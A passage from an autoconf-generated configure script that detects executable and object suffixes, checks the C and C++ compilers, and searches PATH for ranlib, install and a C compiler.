diagnose broken compilers, and finding out an intuition # of exeext. echo "$as_me:$LINENO: checking for C++ compiler default output file name" >&5 echo $ECHO_N "checking for C++ compiler default output file name... $ECHO_C" >&6 ac_link_default=`echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'` if { (eval echo "$as_me:$LINENO: \"$ac_link_default\"") >&5 (eval $ac_link_default) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; then # Find the output, starting from the most likely. This scheme is # not robust to junk in `.', hence go to wildcards (a.*) only as a last # resort. # Be careful to initialize this variable, since it used to be cached. # Otherwise an old cache value of `no' led to `EXEEXT = no' in a Makefile. ac_cv_exeext= # b.out is created by i960 compilers. for ac_file in a_out.exe a.exe conftest.exe a.out conftest a.* conftest.* b.out do test -f "$ac_file" || continue case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.o | *.obj ) ;; conftest.$ac_ext ) # This is the source file. ;; [ab].out ) # We found the default executable, but exeext='' is most # certainly right. break;; *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` # FIXME: I believe we export ac_cv_exeext for Libtool, # but it would be cool to find out if it's true. Does anybody # maintain Libtool? --akim. export ac_cv_exeext break;; * ) break;; esac done else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 { { echo "$as_me:$LINENO: error: C++ compiler cannot create executables See \`config.log' for more details." >&5 echo "$as_me: error: C++ compiler cannot create executables See \`config.log' for more details." >&2;} { (exit 77); exit 77; }; } fi ac_exeext=$ac_cv_exeext echo "$as_me:$LINENO: result: $ac_file" >&5 echo "${ECHO_T}$ac_file" >&6 # Check the compiler produces executables we can run. If not, either # the compiler is broken, or we cross compile. echo "$as_me:$LINENO: checking whether the C++ compiler works" >&5 echo $ECHO_N "checking whether the C++ compiler works... $ECHO_C" >&6 # FIXME: These cross compiler hacks should be removed for Autoconf 3.0 # If not cross compiling, check that we can run a simple program. if test "$cross_compiling" != yes; then if { ac_try='./$ac_file' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then cross_compiling=no else if test "$cross_compiling" = maybe; then cross_compiling=yes else { { echo "$as_me:$LINENO: error: cannot run C++ compiled programs. If you meant to cross compile, use \`--host'. See \`config.log' for more details." >&5 echo "$as_me: error: cannot run C++ compiled programs. If you meant to cross compile, use \`--host'. See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } fi fi fi echo "$as_me:$LINENO: result: yes" >&5 echo "${ECHO_T}yes" >&6 rm -f a.out a.exe conftest$ac_cv_exeext b.out ac_clean_files=$ac_clean_files_save # Check the compiler produces executables we can run. If not, either # the compiler is broken, or we cross compile. echo "$as_me:$LINENO: checking whether we are cross compiling" >&5 echo $ECHO_N "checking whether we are cross compiling... $ECHO_C" >&6 echo "$as_me:$LINENO: result: $cross_compiling" >&5 echo "${ECHO_T}$cross_compiling" >&6 echo "$as_me:$LINENO: checking for suffix of executables" >&5 echo $ECHO_N "checking for suffix of executables... $ECHO_C" >&6 if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; then # If both `conftest.exe' and `conftest' are `present' (well, observable) # catch `conftest.exe'. For instance with Cygwin, `ls conftest' will # work properly (i.e., refer to `conftest.exe'), while it won't with # `rm'. for ac_file in conftest.exe conftest conftest.*; do test -f "$ac_file" || continue case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.o | *.obj ) ;; *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` export ac_cv_exeext break;; * ) break;; esac done else { { echo "$as_me:$LINENO: error: cannot compute suffix of executables: cannot compile and link See \`config.log' for more details." >&5 echo "$as_me: error: cannot compute suffix of executables: cannot compile and link See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } fi rm -f conftest$ac_cv_exeext echo "$as_me:$LINENO: result: $ac_cv_exeext" >&5 echo "${ECHO_T}$ac_cv_exeext" >&6 rm -f conftest.$ac_ext EXEEXT=$ac_cv_exeext ac_exeext=$EXEEXT echo "$as_me:$LINENO: checking for suffix of object files" >&5 echo $ECHO_N "checking for suffix of object files... $ECHO_C" >&6 if test "${ac_cv_objext+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { ; return 0; } _ACEOF rm -f conftest.o conftest.obj if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; then for ac_file in `(ls conftest.o conftest.obj; ls conftest.*) 2>/dev/null`; do case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg ) ;; *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'` break;; esac done else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 { { echo "$as_me:$LINENO: error: cannot compute suffix of object files: cannot compile See \`config.log' for more details." >&5 echo "$as_me: error: cannot compute suffix of object files: cannot compile See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } fi rm -f conftest.$ac_cv_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_objext" >&5 echo "${ECHO_T}$ac_cv_objext" >&6 OBJEXT=$ac_cv_objext ac_objext=$OBJEXT echo "$as_me:$LINENO: checking whether we are using the GNU C++ compiler" >&5 echo $ECHO_N "checking whether we are using the GNU C++ compiler... $ECHO_C" >&6 if test "${ac_cv_cxx_compiler_gnu+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { #ifndef __GNUC__ choke me #endif ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_compiler_gnu=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_compiler_gnu=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext ac_cv_cxx_compiler_gnu=$ac_compiler_gnu fi echo "$as_me:$LINENO: result: $ac_cv_cxx_compiler_gnu" >&5 echo "${ECHO_T}$ac_cv_cxx_compiler_gnu" >&6 GXX=`test $ac_compiler_gnu = yes && echo yes` ac_test_CXXFLAGS=${CXXFLAGS+set} ac_save_CXXFLAGS=$CXXFLAGS CXXFLAGS="-g" echo "$as_me:$LINENO: checking whether $CXX accepts -g" >&5 echo $ECHO_N "checking whether $CXX accepts -g... $ECHO_C" >&6 if test "${ac_cv_prog_cxx_g+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_prog_cxx_g=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_prog_cxx_g=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_prog_cxx_g" >&5 echo "${ECHO_T}$ac_cv_prog_cxx_g" >&6 if test "$ac_test_CXXFLAGS" = set; then CXXFLAGS=$ac_save_CXXFLAGS elif test $ac_cv_prog_cxx_g = yes; then if test "$GXX" = yes; then CXXFLAGS="-g -O2" else CXXFLAGS="-g" fi else if test "$GXX" = yes; then CXXFLAGS="-O2" else CXXFLAGS= fi fi for ac_declaration in \ '' \ 'extern "C" void std::exit (int) throw (); using std::exit;' \ 'extern "C" void std::exit (int); using std::exit;' \ 'extern "C" void exit (int) throw ();' \ 'extern "C" void exit (int);' \ 'void exit (int);' do cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_declaration #include int main () { exit (42); ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then : else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 continue fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_declaration int main () { exit (42); ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then break else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext done rm -f conftest* if test -n "$ac_declaration"; then echo '#ifdef __cplusplus' >>confdefs.h echo $ac_declaration >>confdefs.h echo '#endif' >>confdefs.h fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args. set dummy ${ac_tool_prefix}ranlib; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_RANLIB+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$RANLIB"; then ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi RANLIB=$ac_cv_prog_RANLIB if test -n "$RANLIB"; then echo "$as_me:$LINENO: result: $RANLIB" >&5 echo "${ECHO_T}$RANLIB" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi fi if test -z "$ac_cv_prog_RANLIB"; then ac_ct_RANLIB=$RANLIB # Extract the first word of "ranlib", so it can be a program name with args. set dummy ranlib; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_ac_ct_RANLIB+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$ac_ct_RANLIB"; then ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_RANLIB="ranlib" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done test -z "$ac_cv_prog_ac_ct_RANLIB" && ac_cv_prog_ac_ct_RANLIB=":" fi fi ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB if test -n "$ac_ct_RANLIB"; then echo "$as_me:$LINENO: result: $ac_ct_RANLIB" >&5 echo "${ECHO_T}$ac_ct_RANLIB" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi RANLIB=$ac_ct_RANLIB else RANLIB="$ac_cv_prog_RANLIB" fi # Find a good install program. We prefer a C program (faster), # so one script is as good as another. But avoid the broken or # incompatible versions: # SysV /etc/install, /usr/sbin/install # SunOS /usr/etc/install # IRIX /sbin/install # AIX /bin/install # AmigaOS /C/install, which installs bootblocks on floppy discs # AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag # AFS /usr/afsws/bin/install, which mishandles nonexistent args # SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" # OS/2's system install, which has a completely different semantic # ./install, which can be erroneously created by make from ./install.sh. echo "$as_me:$LINENO: checking for a BSD-compatible install" >&5 echo $ECHO_N "checking for a BSD-compatible install... $ECHO_C" >&6 if test -z "$INSTALL"; then if test "${ac_cv_path_install+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. # Account for people who put trailing slashes in PATH elements. case $as_dir/ in ./ | .// | /cC/* | \ /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \ ?:\\/os2\\/install\\/* | ?:\\/OS2\\/INSTALL\\/* | \ /usr/ucb/* ) ;; *) # OSF1 and SCO ODT 3.0 have their own names for install. # Don't use installbsd from OSF since it installs stuff as root # by default. for ac_prog in ginstall scoinst install; do for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_prog$ac_exec_ext"; then if test $ac_prog = install && grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then # AIX install. It has an incompatible calling convention. : elif test $ac_prog = install && grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then # program-specific install script used by HP pwplus--don't use. : else ac_cv_path_install="$as_dir/$ac_prog$ac_exec_ext -c" break 3 fi fi done done ;; esac done fi if test "${ac_cv_path_install+set}" = set; then INSTALL=$ac_cv_path_install else # As a last resort, use the slow shell script. We don't cache a # path for INSTALL within a source directory, because that will # break other packages using the cache if that directory is # removed, or if the path is relative. INSTALL=$ac_install_sh fi fi echo "$as_me:$LINENO: result: $INSTALL" >&5 echo "${ECHO_T}$INSTALL" >&6 # Use test -z because SunOS4 sh mishandles braces in ${var-val}. # It thinks the first close brace ends the variable substitution. test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}' test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args. set dummy ${ac_tool_prefix}gcc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="${ac_tool_prefix}gcc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then echo "$as_me:$LINENO: result: $CC" >&5 echo "${ECHO_T}$CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi fi if test -z "$ac_cv_prog_CC"; then ac_ct_CC=$CC # Extract the first word of "gcc", so it can be a program name with args. set dummy gcc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_ac_ct_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CC="gcc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 echo "${ECHO_T}$ac_ct_CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi CC=$ac_ct_CC else CC="$ac_cv_prog_CC" fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. set dummy ${ac_tool_prefix}cc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="${ac_tool_prefix}cc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then echo "$as_me:$LINENO: result: $CC" >&5 echo "${ECHO_T}$CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi fi if test -z "$ac_cv_prog_CC"; then ac_ct_CC=$CC # Extract the first word of "cc", so it can be a program name with args. set dummy cc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_ac_ct_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CC="cc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 echo "${ECHO_T}$ac_ct_CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi CC=$ac_ct_CC else CC="$ac_cv_prog_CC" fi fi if test -z "$CC"; then # Extract the first word of "cc", so it can be a program name with args. set dummy cc; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else ac_prog_rejected=no as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then ac_prog_rejected=yes continue fi ac_cv_prog_CC="cc" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done if test $ac_prog_rejected = yes; then # We found a bogon in the path, so make sure we never use it. set dummy $ac_cv_prog_CC shift if test $# != 0; then # We chose a different compiler from the bogus one. # However, it has the same basename, so the bogon will be chosen # first if we set CC to just the basename; use the full file name. shift ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" fi fi fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then echo "$as_me:$LINENO: result: $CC" >&5 echo "${ECHO_T}$CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then for ac_prog in cl do # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. set dummy $ac_tool_prefix$ac_prog; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="$ac_tool_prefix$ac_prog" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then echo "$as_me:$LINENO: result: $CC" >&5 echo "${ECHO_T}$CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi test -n "$CC" && break done fi if test -z "$CC"; then ac_ct_CC=$CC for ac_prog in cl do # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_ac_ct_CC+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CC="$ac_prog" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 echo "${ECHO_T}$ac_ct_CC" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi test -n "$ac_ct_CC" && break done CC=$ac_ct_CC fi fi test -z "$CC" && { { echo "$as_me:$LINENO: error: no acceptable C compiler found in \$PATH See \`config.log' for more details." >&5 echo "$as_me: error: no acceptable C compiler found in \$PATH See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } # Provide some information about the compiler. echo "$as_me:$LINENO:" \ "checking for C compiler version" >&5 ac_compiler=`set X $ac_compile; echo $2` { (eval echo "$as_me:$LINENO: \"$ac_compiler --version &5\"") >&5 (eval $ac_compiler --version &5) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } { (eval echo "$as_me:$LINENO: \"$ac_compiler -v &5\"") >&5 (eval $ac_compiler -v &5) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } { (eval echo "$as_me:$LINENO: \"$ac_compiler -V &5\"") >&5 (eval $ac_compiler -V &5) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } echo "$as_me:$LINENO: checking whether we are using the GNU C compiler" >&5 echo $ECHO_N "checking whether we are using the GNU C compiler... $ECHO_C" >&6 if test "${ac_cv_c_compiler_gnu+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { #ifndef __GNUC__ choke me #endif ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_compiler_gnu=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_compiler_gnu=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext ac_cv_c_compiler_gnu=$ac_compiler_gnu fi echo "$as_me:$LINENO: result: $ac_cv_c_compiler_gnu" >&5 echo "${ECHO_T}$ac_cv_c_compiler_gnu" >&6 GCC=`test $ac_compiler_gnu = yes && echo yes` ac_test_CFLAGS=${CFLAGS+set} ac_save_CFLAGS=$CFLAGS CFLAGS="-g" echo "$as_me:$LINENO: checking whether $CC accepts -g" >&5 echo $ECHO_N "checking whether $CC accepts -g... $ECHO_C" >&6 if test "${ac_cv_prog_cc_g+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { ; 